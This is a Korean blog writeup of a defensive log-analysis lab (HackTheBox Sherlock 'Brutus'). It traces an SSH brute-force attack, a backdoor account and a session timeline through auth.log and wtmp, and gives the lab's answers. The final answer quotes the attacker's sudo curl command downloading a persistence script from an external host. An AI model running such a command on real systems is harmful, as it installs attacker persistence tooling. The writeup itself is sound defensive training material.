[HackTheBox] Sherlock Brutus 리눅스 로그파일 분석 Writeup
Brutus
이번 랩은 리눅스 로그 분석, DFIR에 대해 다뤄볼 예정이고 블루팀 트랙의 첫 번째 머신이다
Intro to Blue Team 트랙은 Defensive 해커들에게 특화된 머신들을 모아놓은 로드맵임
워게임이나 챌린지 대부분이 offensive여서 블루팀인 나에겐 너무 소중하다..
auth.log 로그파일 필드
- 날짜, 시간
- Hostname
- Service
- PID
- User
- Authentication Status
- IP 주소, 호스트네임
1. Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?
공격자가 브루트 포스 공격에 사용한 Ip 주소를 찾는데 'Failed password'가 연속해서 나타나는 걸 봐서는
root이라는 유저네임에 패스워드를 찾는 브루트포싱인듯
: 65.2.161.68
2. The bruteforce attempts were successful and attacker gained access to an account on the server. What is the username of the account?
브루트 포스 성공→로그인/연결성공→연결해제 Disconnect 순서일 거라고 예상함
연결해제한 계정 정보가 root 이므로
: root
+ 브루트포스 공격에는 Hydra/Medusa/Brutus 툴이 있다
3. Identify the timestamp when the attacker logged in manually to the server to carry out their objectives. The login time will be different than the authentication time, and can be found in the wtmp artifact.
wtmp 아티팩트에서 찾아야 한다
utmpdump wtmp
utmpdump: wtmp파일을 읽는 데 사용되는 툴, wtmp/btmp/utmp 같은 바이너리 파일을 읽고 디코딩하는데 사용할 수 있다
바이너리 파일들은 표준 텍스트 에디터나 cat 명령어로는 못 읽음
wtmp: 로그파일의 종류 중 하나이며, 로그인/로그아웃/재부팅 기록이 저장되어 있다.
/var/log/wtmp 경로에 위치함
https://linuxhandbook.com/utmp-wtmp-btmp/
What are utmp, wtmp, and btmp Files in Linux?
The utmp, wtmp and btmp files has nothing to do with time. They store records of login related activities. Learn more about them.
linuxhandbook.com
: 2024-03-06 06:32:45
4. SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?
2번 질문에서 찾은 사용자명은 root
root이 부여받은 세션의 번호를 찾기 위해 grep "session" 검색
new session 37 of user root
: 37
5. The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?
공격자가 서버에 새로운 유저를 추가했고 그 유저 이름을 찾아야 된다
groupadd, useradd 모두 공통적으로 add가 있으니
cat auth.log | grep "add"
cyberjunkie라는 그룹과 유저를 추가했다!
: cyberjunkie
6. What is the MITRE ATT&CK sub-technique ID used for persistence by creating a new account?
새로운 계정을 생성한 persistence 지속적 공격의 MITRE ATT&CK 아이디를 찾아보자
질문 그대로 검색하면 다른 롸업에 답이 나올까 봐 주요 키워드만 넣어서 검색함 ^^
계정 생성하는 테크닉의 아이디는 T1136인 것 같다
이제 sub ID를 찾자
https://attack.mitre.org/techniques/T1136/
Create Account, Technique T1136 - Enterprise | MITRE ATT&CK®
attack.mitre.org
새로운 로컬 계정을 생성해서 피해자의 시스템에 접근을 유지한다
위의 질문과 거의 일치한다
: T1136.001
7. What time did the attacker's first SSH session end according to auth.log?
4번 문제에서 찾은 세션 번호 37번을 활용해서 필터링하자
37번 세션의 로그아웃과 삭제 모두 06:37:24 타임라인
: 06:37:24
8. The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?
다운로드할 때 http 메서드 GET을 사용하니까 grep "http"을 사용했는데
바로 Command와 https url까지 발견했다
: /usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
분명 very easy라고 적혀있는데 고수들이 즐비한 hackthebox여서 그런지 easy 정도인 느낌이다..